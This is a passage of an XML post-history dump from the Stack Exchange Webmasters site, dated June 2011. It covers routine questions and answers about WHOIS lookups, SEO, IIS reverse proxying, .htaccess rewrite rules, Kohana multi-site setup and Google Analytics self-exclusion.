unsolicited&#xD;&#xA;&gt; advertising and and solicitations of&#xD;&#xA;&gt; any kind, including spam.  You further&#xD;&#xA;&gt; agree not to use this data to enable&#xD;&#xA;&gt; high volume, automated or robotic&#xD;&#xA;&gt; electronic processes designed to&#xD;&#xA;&gt; collect or compile this data for any&#xD;&#xA;&gt; purpose, including mining this data&#xD;&#xA;&gt; for your own personal or commercial&#xD;&#xA;&gt; purposes. &#xD;&#xA;&gt; &#xD;&#xA;&gt; Please note: the registrant of the&#xD;&#xA;&gt; domain name is specified in the&#xD;&#xA;&gt; &quot;registrant&quot; field.  In most cases,&#xD;&#xA;&gt; GoDaddy.com, Inc.  is not the&#xD;&#xA;&gt; registrant of domain names listed in&#xD;&#xA;&gt; this database.&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; Registrant:    John Conde&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Registered through: GoDaddy.com,&#xD;&#xA;&gt; Inc. (http://www.godaddy.com)   &#xD;&#xA;&gt; Domain Name: JOHNCONDE.NET&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Domain servers in listed order:&#xD;&#xA;&gt;       NS795.WEBSITEWELCOME.COM&#xD;&#xA;&gt;       NS796.WEBSITEWELCOME.COM&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt;    For complete domain details go to: &#xD;&#xA;&gt; http://who.godaddy.com/whoischeck.aspx?Domain=JOHNCONDE.NET&#xD;&#xA;&#xD;&#xA;This worked for all of the domains I checked with various registrars." />
  <row Id="36854" PostHistoryTypeId="25" PostId="15565" RevisionGUID="2ac9fa65-c145-45c1-ab78-b66ce9def530" CreationDate="2011-06-19T18:24:37.900" Comment="http://twitter.com/#!/StackWebmasters/status/82514134943531008" />
  <row Id="36855" PostHistoryTypeId="17" PostId="15568" RevisionGUID="69d599cf-fa04-45f6-b77b-5f170ac0d872" CreationDate="2011-06-19T20:08:57.300" UserId="-1" Comment="from http://stackoverflow.com/questions/6404577/hoping-to-boost-traffic-to-nfp-site-seo-info-help" Text="" />
  <row Id="36856" PostHistoryTypeId="2" PostId="15568" RevisionGUID="eef81c4d-2629-43c3-a01d-6e22e709171b" CreationDate="2011-06-19T19:19:54.793" UserDisplayName="Charlie" Text="I'm doing work for a not-for-profit looking to boost traffic to the site. I need to learn a tremendous amount about SEO and backlinking in a short length of time.&#xD;&#xA;&#xD;&#xA;Any tips you can give me, or sites you can refer me to, I'll be most grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A million thanks,&#xD;&#xA;Chaz" />
  <row Id="36857" PostHistoryTypeId="1" PostId="15568" RevisionGUID="eef81c4d-2629-43c3-a01d-6e22e709171b" CreationDate="2011-06-19T19:19:54.793" UserDisplayName="Charlie" Text="Hoping to boost traffic to NFP site. SEO info? HELP!" />
  <row Id="36858" PostHistoryTypeId="3" PostId="15568" RevisionGUID="eef81c4d-2629-43c3-a01d-6e22e709171b" CreationDate="2011-06-19T19:19:54.793" UserDisplayName="Charlie" Text="&lt;optimization&gt;&lt;seo&gt;&lt;traffic&gt;&lt;marketing&gt;" />
  <row Id="36862" PostHistoryTypeId="5" PostId="15568" RevisionGUID="0eefe7e5-326f-427a-b94c-66d7ae9380e6" CreationDate="2011-06-19T20:35:59.530" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm doing work for a not-for-profit looking to boost traffic to the site. I need to learn a tremendous amount about SEO and backlinking in a short length of time.&#xD;&#xA;&#xD;&#xA;Any tips you can give me, or sites you can refer me to, I'll be most grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A million thanks,&#xD;&#xA;Chaz" />
  <row Id="36863" PostHistoryTypeId="10" PostId="15568" RevisionGUID="175129d9-8fa3-4c20-93c3-cb7c3641af9b" CreationDate="2011-06-19T20:35:59.310" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36870" PostHistoryTypeId="2" PostId="15570" RevisionGUID="4e88c23c-bd23-4c1f-836b-705cc17d745b" CreationDate="2011-06-19T20:50:12.953" UserId="8376" Text="Sorry, I couldn't think of a decent subject for this question - please feel to change it to something better if you can. Same goes for the tags.&#xD;&#xA;&#xD;&#xA;I have a site, www.domain.com. I want to set up a blog which runs on a separate server than the main site, and have it available a the domain www.domain.com/blog.&#xD;&#xA;&#xD;&#xA;How would I go about doing this? If it were blog.domain.com, then it would be easy, but with www.domain.com/blog I'm not so sure. &#xD;&#xA;&#xD;&#xA;I'm using Windows Server 2008 / IIS 7." />
  <row Id="36871" PostHistoryTypeId="1" PostId="15570" RevisionGUID="4e88c23c-bd23-4c1f-836b-705cc17d745b" CreationDate="2011-06-19T20:50:12.953" UserId="8376" Text="URL passthrough" />
  <row Id="36872" PostHistoryTypeId="3" PostId="15570" RevisionGUID="4e88c23c-bd23-4c1f-836b-705cc17d745b" CreationDate="2011-06-19T20:50:12.953" UserId="8376" Text="&lt;url-rewriting&gt;&lt;iis7&gt;" />
  <row Id="36873" PostHistoryTypeId="5" PostId="15570" RevisionGUID="b43a79e1-e384-4f9f-bcb5-3f3d0ab72bd3" CreationDate="2011-06-19T20:54:56.847" UserId="1253" Comment="modified tags, minor text edits,changed question text" Text="I have a site, www.domain.com. I want to set up a blog which runs on a separate server than the main site, and have it available a the domain www.domain.com/blog.&#xD;&#xA;&#xD;&#xA;How would I go about doing this? If it were blog.domain.com, then it would be easy, but with www.domain.com/blog I'm not so sure. &#xD;&#xA;&#xD;&#xA;I'm using Windows Server 2008 / IIS 7." />
  <row Id="36874" PostHistoryTypeId="4" PostId="15570" RevisionGUID="b43a79e1-e384-4f9f-bcb5-3f3d0ab72bd3" CreationDate="2011-06-19T20:54:56.847" UserId="1253" Comment="modified tags, minor text edits,changed question text" Text="How do I run a subdirectory on a separate server?" />
  <row Id="36875" PostHistoryTypeId="6" PostId="15570" RevisionGUID="b43a79e1-e384-4f9f-bcb5-3f3d0ab72bd3" CreationDate="2011-06-19T20:54:56.847" UserId="1253" Comment="modified tags, minor text edits,changed question text" Text="&lt;iis7&gt;" />
  <row Id="36876" PostHistoryTypeId="2" PostId="15571" RevisionGUID="b837527e-fe2f-4e72-a96f-2aa0f5cb5070" CreationDate="2011-06-19T20:55:54.453" UserId="4271" Text="I'm using Google DFP to serve Adsense ads. In Google Chrome (this doesn't seem to happen in other browsers), the page will get stuck loading pagead2.googlesyndication.com. It will just load for hours if I let it. In the meantime, only about half or slightly more of the dynamic images on my page will have completed loading. It appears this is blocking other elements on my site from loading.&#xD;&#xA;&#xD;&#xA;Any suggestions on what I can do to fix this?" />
  <row Id="36877" PostHistoryTypeId="1" PostId="15571" RevisionGUID="b837527e-fe2f-4e72-a96f-2aa0f5cb5070" CreationDate="2011-06-19T20:55:54.453" UserId="4271" Text="Google Ads Blocking Other Site Elements From Loading" />
  <row Id="36878" PostHistoryTypeId="3" PostId="15571" RevisionGUID="b837527e-fe2f-4e72-a96f-2aa0f5cb5070" CreationDate="2011-06-19T20:55:54.453" UserId="4271" Text="&lt;google&gt;&lt;html&gt;&lt;javascript&gt;&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="36879" PostHistoryTypeId="2" PostId="15572" RevisionGUID="d7622f37-ae17-4cc3-bbf7-7fab94136138" CreationDate="2011-06-19T20:58:50.020" UserId="4271" Text="I don't think you can do this. I just ran into the same type of thing because I wanted to run a Wordpress blog but my site was hosted on a shared Windows host. I ended up moving my site to Rackspace's cloud hosting so I had my own dedicated server and installed the Wordpress dependencies on Windows." />
  <row Id="36880" PostHistoryTypeId="2" PostId="15573" RevisionGUID="14a292e0-0f34-431a-b3a2-7850516f525e" CreationDate="2011-06-19T21:05:50.800" UserId="6753" Text="I've noticed that Google is currently listing the sub pages on certain domains (including our site). I've recently re-designed and restructured our site and would like to know how to specify these pages and their titles.&#xD;&#xA;&#xD;&#xA;Also, does the page title define the name of the sub listing?. In the case of apple the iPad page title is.&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Apple - iPad - All-new design. Video calls. HD video.&lt;/title&gt; &#xD;&#xA;&#xD;&#xA;While the sub-page listing returns as simply **iPad**&#xD;&#xA;&#xD;&#xA;I had an image to post but the system is not allowing me to add it. A simple search for apple will show you an example of what I'm referring to." />
  <row Id="36881" PostHistoryTypeId="1" PostId="15573" RevisionGUID="14a292e0-0f34-431a-b3a2-7850516f525e" CreationDate="2011-06-19T21:05:50.800" UserId="6753" Text="Making sub pages show below your site listing in Google" />
  <row Id="36882" PostHistoryTypeId="3" PostId="15573" RevisionGUID="14a292e0-0f34-431a-b3a2-7850516f525e" CreationDate="2011-06-19T21:05:50.800" UserId="6753" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;title-attribute&gt;" />
  <row Id="36883" PostHistoryTypeId="5" PostId="15573" RevisionGUID="ed363b0f-6aea-433e-b6bc-08280855d7d3" CreationDate="2011-06-19T21:09:17.670" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've noticed that Google is currently listing the sub pages on certain domains (including our site). I've recently re-designed and restructured our site and would like to know how to specify these pages and their titles.&#xD;&#xA;&#xD;&#xA;Also, does the page title define the name of the sub listing?. In the case of apple the iPad page title is.&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Apple - iPad - All-new design. Video calls. HD video.&lt;/title&gt; &#xD;&#xA;&#xD;&#xA;While the sub-page listing returns as simply **iPad**&#xD;&#xA;&#xD;&#xA;I had an image to post but the system is not allowing me to add it. A simple search for apple will show you an example of what I'm referring to." />
  <row Id="36884" PostHistoryTypeId="10" PostId="15573" RevisionGUID="6d7ccdaf-8e9f-493a-9a49-5883ea0ad9c2" CreationDate="2011-06-19T21:09:17.313" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36885" PostHistoryTypeId="2" PostId="15574" RevisionGUID="e837777d-09a8-49dc-8d07-a521b34d16f6" CreationDate="2011-06-19T21:09:22.233" UserId="8354" Text="This can be done with URL Rewrite module using &quot;Reverse Proxy&quot; kind of rule (when incoming request is handled/internally redirected to be processed by another back-end server), but for this you will also need an [Application Request Routing](http://www.iis.net/download/ApplicationRequestRouting) to be installed. Unfortunately I have not dealt with AAR much and cannot really advise further. With Apache it is easier -- it is part of the default functionality (as long as you enable right module).&#xD;&#xA;&#xD;&#xA;Keep in mind -- this will be **slower** than hosting the blog on the same server, as request has to travel to main server first, then to another (blog) server and back, and only then the response/page will be sent back to the user." />
  <row Id="36886" PostHistoryTypeId="25" PostId="15570" RevisionGUID="cc74e7e3-85ec-477b-9f6b-5a23b2bf9dd2" CreationDate="2011-06-19T21:24:38.810" Comment="http://twitter.com/#!/StackWebmasters/status/82559438472495104" />
  <row Id="36887" PostHistoryTypeId="17" PostId="15575" RevisionGUID="64e4a4af-4dee-4c1f-9d6b-aa946175eb20" CreationDate="2011-06-19T21:26:16.367" UserId="-1" Comment="from http://stackoverflow.com/questions/6399808/apache-redirect-based-on-directory-name" Text="" />
  <row Id="36888" PostHistoryTypeId="17" PostId="15576" RevisionGUID="f120d5e8-9d8b-4837-8589-a29718df5303" CreationDate="2011-06-19T21:26:16.367" UserId="-1" Comment="from http://stackoverflow.com/questions/6399808/apache-redirect-based-on-directory-name" Text="" />
  <row Id="36889" PostHistoryTypeId="2" PostId="15576" RevisionGUID="2d7ceb7c-52aa-453a-9d09-1eba33ebdc1b" CreationDate="2011-06-19T01:18:57.420" UserId="8163" Text="Looks like Kohana supports multiple sites from one installation, according to the docs:&#xD;&#xA;&#xD;&#xA;http://docs.kohanaphp.com/installation&#xD;&#xA;&#xD;&#xA;2. Put the system folder somewhere on your server, preferably outside of your webserver's document root.&#xD;&#xA;&#xD;&#xA;3. Delete the system folder in your current application.&#xD;&#xA;&#xD;&#xA;4. For your application's index.php file, change the $kohana_system variable to the relative or absolute path of where you put the system folder.&#xD;&#xA;&#xD;&#xA;5. You can now point all of your applications to this one system folder for easy upgrades. This makes your life a whole lot easier when you have 10+ kohana sites on your server." />
  <row Id="36890" PostHistoryTypeId="2" PostId="15575" RevisionGUID="e6aa5d8f-f8e0-4ee6-a068-569ba990128f" CreationDate="2011-06-19T00:35:29.063" UserDisplayName="tandu" Text="I'm trying to use one install of Kohana to manage two separate sites rather than just duplicate the install.  I have directories like this:&#xD;&#xA;&#xD;&#xA;    applications/&#xD;&#xA;       app1/&#xD;&#xA;       app2/&#xD;&#xA;&#xD;&#xA;The .htaccess I have looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RedirectMatch app1/(.*)$ http://app1.example.com/$1&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !.*applications/app1.*&#xD;&#xA;    RewriteRule .* applications/app1/index.php/$0 [PT]&#xD;&#xA;&#xD;&#xA;When I go to `app1.example.com` I get a 500 infinite redirect and the URL is `app1.example.com/index.php/index.php/index.php/...`&#xD;&#xA;&#xD;&#xA;What I need is for it to look like it's going to `app1.example.com` but behind the scenes it is redirecting to `document_root/applications/app1/index.php`.&#xD;&#xA;&#xD;&#xA;I also need this to work for app2 in the same way, but I imagine once I have it working for app1 it will essentially be identical.&#xD;&#xA;&#xD;&#xA;If you want to throw in any tips on managing multiple sites with one Kohana install that would help too." />
  <row Id="36891" PostHistoryTypeId="1" PostId="15575" RevisionGUID="e6aa5d8f-f8e0-4ee6-a068-569ba990128f" CreationDate="2011-06-19T00:35:29.063" UserDisplayName="tandu" Text="Apache Redirect based on directory name" />
  <row Id="36892" PostHistoryTypeId="3" PostId="15575" RevisionGUID="e6aa5d8f-f8e0-4ee6-a068-569ba990128f" CreationDate="2011-06-19T00:35:29.063" UserDisplayName="tandu" Text="&lt;php&gt;&lt;apache&gt;&lt;mod-rewrite&gt;&lt;redirects&gt;&lt;kohana&gt;" />
  <row Id="36893" PostHistoryTypeId="5" PostId="15574" RevisionGUID="f1bc2291-460f-4fb9-af3c-bfd360972885" CreationDate="2011-06-19T21:53:01.480" UserId="8354" Comment="provided link to the related article" Text="This can be done with URL Rewrite module using &quot;Reverse Proxy&quot; kind of rule (when incoming request is handled/internally redirected to be processed by another back-end server), but for this you will also need an [Application Request Routing](http://www.iis.net/download/ApplicationRequestRouting) to be installed. Unfortunately I have not dealt with AAR much and cannot really advise further. With Apache it is easier -- it is part of the default functionality (as long as you enable right module).&#xD;&#xA;&#xD;&#xA;Keep in mind -- this will be **slower** than hosting the blog on the same server, as request has to travel to main server first, then to another (blog) server and back, and only then the response/page will be sent back to the user.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;Here is the article that describes how this can be done with details and illustrations (it is dated Nov 2009 but everything still should be the same or very similar): [Reverse Proxy with URL Rewrite v2 and Application Request Routing](http://learn.iis.net/page.aspx/659/reverse-proxy-with-url-rewrite-v2-and-application-request-routing/)." />
  <row Id="36894" PostHistoryTypeId="2" PostId="15577" RevisionGUID="630f0a66-4e24-466e-b60a-9c63d61577c7" CreationDate="2011-06-19T22:11:53.687" UserId="233" Text="As others have said, W3schools browser stats are among the most **inaccurate** for the web at large. [Here is a nice roundup][1] of reputable sources - but also note the first paragraph - the only accurate measure of browser usage is *your own website stats*.&#xD;&#xA;&#xD;&#xA;As for Javascript, most of the browsers are almost identical for their support of basic Javascript. You could consider using a framework such as jQuery which mitigates the majority of cross-browser problems.&#xD;&#xA;&#xD;&#xA;And **always** use a strict doctype: `&lt;!DOCTYPE html&gt;` is all you need to force all browsers to render pages the same.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.impressivewebs.com/browser-usage-stats/" />
  <row Id="36895" PostHistoryTypeId="25" PostId="15563" RevisionGUID="148a3a86-639d-4473-9d5b-e4ca182f7b28" CreationDate="2011-06-20T00:24:39.677" Comment="http://twitter.com/#!/StackWebmasters/status/82604740105613312" />
  <row Id="36896" PostHistoryTypeId="17" PostId="15578" RevisionGUID="24121261-98a9-468f-b76f-658ea066964a" CreationDate="2011-06-20T00:30:25.340" UserId="-1" Comment="from http://stackoverflow.com/questions/6401808/help-with-htaccess-code-for-navigation" Text="" />
  <row Id="36897" PostHistoryTypeId="2" PostId="15579" RevisionGUID="db7f7799-8bd1-42d0-9402-0eedef1e0d4e" CreationDate="2011-06-19T11:01:09.957" UserId="8181" Text="for **/singer_name** add:&#xD;&#xA;&#xD;&#xA;    RewriteCond $1 !^(singer|song|album)&#xD;&#xA;    RewriteRule ^/?([^/\.]+)/?$ /core/controller.php?singer=$1 [L]&#xD;&#xA;&#xD;&#xA;for **/singer_name/song_name** add:&#xD;&#xA;&#xD;&#xA;&gt;     RewriteCond $1 !^(singer|song|album)&#xD;&#xA;&gt;     RewriteCond $3 !^(album)&#xD;&#xA;&gt;     RewriteRule ^/?([^/\.]+)(/([^/\.]+))?.*$ /core/controller.php?singer=$1&amp;song=$3 [L]&#xD;&#xA;&#xD;&#xA;for **/singer_name/album/album_name** add:&#xD;&#xA;&#xD;&#xA;&gt;     RewriteCond $1 !^(singer|song|album)&#xD;&#xA;&gt;     RewriteCond $3 (album)&#xD;&#xA;&gt;     RewriteRule ^/?([^/\.]+)(/([^/\.]+))?.*$ /core/controller.php?singer=$1&amp;album=$3 [L]&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;Sorry, but rewriting: **/singer_name/song_name** and **/singer_name/album_name** can not be done at the same time, as Apache doesn't know the difference between Song name and Album name, unless all song name start with numbers like: **01. Song Name**&#xD;&#xA; etc." />
  <row Id="36898" PostHistoryTypeId="2" PostId="15578" RevisionGUID="da283e43-9dd7-471e-b8f2-f2f5b0947934" CreationDate="2011-06-19T10:18:08.240" UserId="8404" Text="Hello,&#xD;&#xA;I need a little help with `.htaccess` file. I have songs, singers and albums links I want to rewrite.&#xD;&#xA;&#xD;&#xA;I already rewrote the links and they are like this:&#xD;&#xA;&#xD;&#xA;* for the songs is like this: `/song/song_name`&#xD;&#xA;* for singers: `/singer_name`&#xD;&#xA;* for albums: `/album_name`&#xD;&#xA;&#xD;&#xA;This is the code in my `.htaccess` file:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^singer/([^/\.]+)/?$ /core/controller.php?singer=$1 [L]&#xD;&#xA;    RewriteRule ^song/([^/\.]+)/?$ /core/controller.php?song=$1 [L]&#xD;&#xA;    RewriteRule ^album/([^/\.]+)/?$ /core/controller.php?album=$1 [L]&#xD;&#xA;&#xD;&#xA;I need the links for the songs, singers and albums to be like this:&#xD;&#xA;&#xD;&#xA;* for songs `/singer_name/song_name`&#xD;&#xA;* for singers `/singer_name`&#xD;&#xA;* for albums `/singer_name/album_name`&#xD;&#xA;&#xD;&#xA;Can anyone help me with this please." />
  <row Id="36899" PostHistoryTypeId="1" PostId="15578" RevisionGUID="da283e43-9dd7-471e-b8f2-f2f5b0947934" CreationDate="2011-06-19T10:18:08.240" UserId="8404" Text="help with htaccess code for navigation" />
  <row Id="36900" PostHistoryTypeId="3" PostId="15578" RevisionGUID="da283e43-9dd7-471e-b8f2-f2f5b0947934" CreationDate="2011-06-19T10:18:08.240" UserId="8404" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="36901" PostHistoryTypeId="17" PostId="15579" RevisionGUID="63b8a168-7c3d-4b71-be0a-b3d0b47e3e95" CreationDate="2011-06-20T00:30:25.340" UserId="-1" Comment="from http://stackoverflow.com/questions/6401808/help-with-htaccess-code-for-navigation" Text="" />
  <row Id="36902" PostHistoryTypeId="2" PostId="15580" RevisionGUID="6a753092-e04c-427b-bc59-fca7239a2954" CreationDate="2011-06-20T01:20:45.663" UserId="8410" Text="I am not sure if this is doable, but whenever I post a bit of news on my site, I will post a link on my Facebook fan page. Lately, I've noticed the whole discussion is happening on Facebook, with comments there being way bigger in numbers than on my page. &#xD;&#xA;&#xD;&#xA;I notice FB has a Social Comments plugin. I was wondering if there was a way to embed comments from my Facebook fan page for a specific link with that plugin or any way otherwise?" />
  <row Id="36903" PostHistoryTypeId="1" PostId="15580" RevisionGUID="6a753092-e04c-427b-bc59-fca7239a2954" CreationDate="2011-06-20T01:20:45.663" UserId="8410" Text="Display comments from a Facebook page link on my site's post page" />
  <row Id="36904" PostHistoryTypeId="3" PostId="15580" RevisionGUID="6a753092-e04c-427b-bc59-fca7239a2954" CreationDate="2011-06-20T01:20:45.663" UserId="8410" Text="&lt;facebook&gt;&lt;plugin&gt;&lt;comments&gt;" />
  <row Id="36905" PostHistoryTypeId="25" PostId="15575" RevisionGUID="fbb3d8d0-1139-4e66-bc1a-3bff895c2e14" CreationDate="2011-06-20T03:24:41.550" Comment="http://twitter.com/#!/StackWebmasters/status/82650044720873472" />
  <row Id="36906" PostHistoryTypeId="17" PostId="15581" RevisionGUID="d960763c-0bdf-4638-903c-9d7ec5e6cf97" CreationDate="2011-06-20T03:54:58.333" UserId="-1" Comment="from http://stackoverflow.com/questions/6404887/htaccess-rewrite-problem" Text="" />
  <row Id="36907" PostHistoryTypeId="17" PostId="15582" RevisionGUID="cdb4621a-d8c9-4474-b640-d285a4dfc927" CreationDate="2011-06-20T03:54:58.333" UserId="-1" Comment="from http://stackoverflow.com/questions/6404887/htaccess-rewrite-problem" Text="" />
  <row Id="36908" PostHistoryTypeId="17" PostId="15583" RevisionGUID="d95ce646-7341-410c-bddf-bb5778e7c55e" CreationDate="2011-06-20T03:54:58.333" UserId="-1" Comment="from http://stackoverflow.com/questions/6404887/htaccess-rewrite-problem" Text="" />
  <row Id="36909" PostHistoryTypeId="2" PostId="15582" RevisionGUID="e84dd1d3-7bae-40f9-b4d7-0919126dd927" CreationDate="2011-06-19T20:28:55.983" UserDisplayName="Connor Smith" Text="You will need to write another `rewrite` rule to match the option of not having a size specified:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^catalog/[a-z0-9_-]+-([0-9]+)/[a-z0-9_-]+-([0-9]+)/ index.php?act=catalog&amp;category=$1&amp;color=$2 [NC, L]&#xD;&#xA;&#xD;&#xA;Put that as your `second` rewrite since it is the least specific." />
  <row Id="36910" PostHistoryTypeId="2" PostId="15583" RevisionGUID="9b33467d-4bfa-4783-8a7f-3b551c83aada" CreationDate="2011-06-19T23:16:41.313" UserId="5183" Text="You can have optional parts, if your PHP script accepts an empty `size` parameter and then does what you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^catalog/[a-z0-9_-]+-([0-9]+)/[a-z0-9_-]+-([0-9]+)/([a-z0-9_-]+-([0-9]+)/)?  index.php?act=catalog&amp;category=$1&amp;color=$2&amp;size=$4 [NC,L]&#xD;&#xA;&#xD;&#xA;The important changes are one more parenthesized group, followed by an `?` (to make it optional), and an adaption of the capture number from $3 to $4 (since the capturing group for the size is now the 4th one).  (Instead of the number change we could also have used `(?:` instead of the added `(`, I guess.)" />
  <row Id="36911" PostHistoryTypeId="2" PostId="15581" RevisionGUID="683bfd91-e13d-49ac-833c-798579b58660" CreationDate="2011-06-19T20:16:26.513" UserDisplayName="user778441" Text="Maybe is best way to show my problem in one example.&#xD;&#xA;&#xD;&#xA;In my .htaccess : &#xD;&#xA;&#xD;&#xA;    RewriteRule ^catalog/[a-z0-9_-]+-([0-9]+)/[a-z0-9_-]+-([0-9]+)/[a-z0-9_-]+-([0-9]+)/  index.php?act=catalog&amp;category=$1&amp;color=$2&amp;size=$3 [NC,L]&#xD;&#xA;&#xD;&#xA;With the address `www.site.com/catalog/category-1/red-3/size-3/`  this works excellent&#xD;&#xA;&#xD;&#xA;But if you leave out the size, like  `www.site.com/catalog/category-1/red-3/`,  I will be redirected to `www.site.com`.&#xD;&#xA;&#xD;&#xA;I want to show all articles with category ID 1 and color which is ID 3." />
  <row Id="36912" PostHistoryTypeId="1" PostId="15581" RevisionGUID="683bfd91-e13d-49ac-833c-798579b58660" CreationDate="2011-06-19T20:16:26.513" UserDisplayName="user778441" Text="htaccess rewrite problem" />
  <row Id="36913" PostHistoryTypeId="3" PostId="15581" RevisionGUID="683bfd91-e13d-49ac-833c-798579b58660" CreationDate="2011-06-19T20:16:26.513" UserDisplayName="user778441" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;rewrite&gt;" />
  <row Id="36914" PostHistoryTypeId="5" PostId="15552" RevisionGUID="51a102c7-5a6d-45d6-b1f3-8647b07dd683" CreationDate="2011-06-20T04:33:36.127" UserId="8070" Comment="Fixed error in code that I pasted." Text="I'm trying to set up an exclusion filter with a browser cookie, so that my own visits to my don't show up in my Google Analytics.  I tried 3 different methods and none of them have worked so far.  I would like help understanding what I am doing wrong and how I can fix this.&#xD;&#xA;&#xD;&#xA;**Method 1**  &#xD;&#xA;First, I tried following Google's instructions, http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481, for excluding traffic by Cookie Content:&#xD;&#xA;&#xD;&#xA;&gt; Create a new page on your domain,&#xD;&#xA;&gt; containing the following code:&#xD;&#xA;&gt;   &#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;&#xD;&#xA;&gt;   &#xD;&#xA;&gt;     &lt;body onLoad=&quot;javascript:pageTracker._setVar('test_value');&quot;&gt;&#xD;&#xA;&#xD;&#xA;**Method 2**  &#xD;&#xA;Next, when that didn't work, I googled around and found this Google thread, http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=4741f1499823fcd5&amp;hl=en, where the most popular answer says to use a slightly different code:  &#xD;&#xA;&#xD;&#xA;&gt; SHS Analytics wrote:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      &lt;body onLoad=&quot;javascript:_gaq.push(['_setVar','test_value']);&quot;&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you! This has now set a __utmv cookie containing &quot;test_value&quot;,&#xD;&#xA;&gt; whereas the original:  &#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;!-- language: lang-js --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      pageTracker._setVar('test_value')&#xD;&#xA;&gt; &#xD;&#xA;&gt; (which Google is still recommending)&#xD;&#xA;&gt; did not manage to do that for me (in&#xD;&#xA;&gt; Mac Safari 5 and Firefox 3.6.8).&#xD;&#xA;&#xD;&#xA;So I tried this code, but it didn't work for me.  &#xD;&#xA;&#xD;&#xA;**Method 3**  &#xD;&#xA;Finally, I searched StackOverflow and came across this thread, http://stackoverflow.com/questions/3495270/exclude-my-traffic-from-google-analytics-using-cookie-with-subdomain, which suggests that the following code might work:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-html --&gt;&#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setVar', 'exclude_me']);&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-xxxxxxxx-x']);&#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;     // etc...&#xD;&#xA;     &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;This script appeared in the head element in the example, instead of in the onload event of the body like in the previous 2 examples.  So I tried this too, but still had no luck with trying to exclude myself from Google Analytics.&#xD;&#xA;&#xD;&#xA;**Re-iterate question**  &#xD;&#xA;So, I tried all 3 methods above with no success.  Am I doing something wrong?  How can I exclude myself from my Google Analytics using an exclusion cookie for my browser? " />
  <row Id="36915" PostHistoryTypeId="2" PostId="15584" RevisionGUID="3c447dab-270a-475a-8ab6-f6813abb0abc" CreationDate="2011-06-20T05:30:08.350" UserId="8006" Text="Quick &amp; Easy fix if you're using firefox and dont want to mess your sourcecode:&#xD;&#xA;get the noscript add-on mark &quot;google-analytics.com&quot; as untrusted. This will prevent firefox from executing the tracker, and your visits won't show up in your stats... or any other website's stats for that matter.&#xD;&#xA;" />
  <row Id="36916" PostHistoryTypeId="2" PostId="15585" RevisionGUID="cef9fcb7-2515-4ed4-ac16-704a7759495e" CreationDate="2011-06-20T05:51:17.320" UserId="8412" Text="You must put `AllowOverride All` in your `&lt;Directory/&gt;` section of the server configuration.&#xD;&#xA;&#xD;&#xA;The only Apache configuration files that can allow options is the ones directly in the server (main file, virtualhost, etc.)&#xD;&#xA;&#xD;&#xA;All the .htaccess, they can only **remove** override rights&#xD;&#xA;&#xD;&#xA;That is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;        &lt;Directory &quot;C:/xampp/htdocs/ypp&quot;&gt;&#xD;&#xA;            AllowOverride All&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and the .htacess file 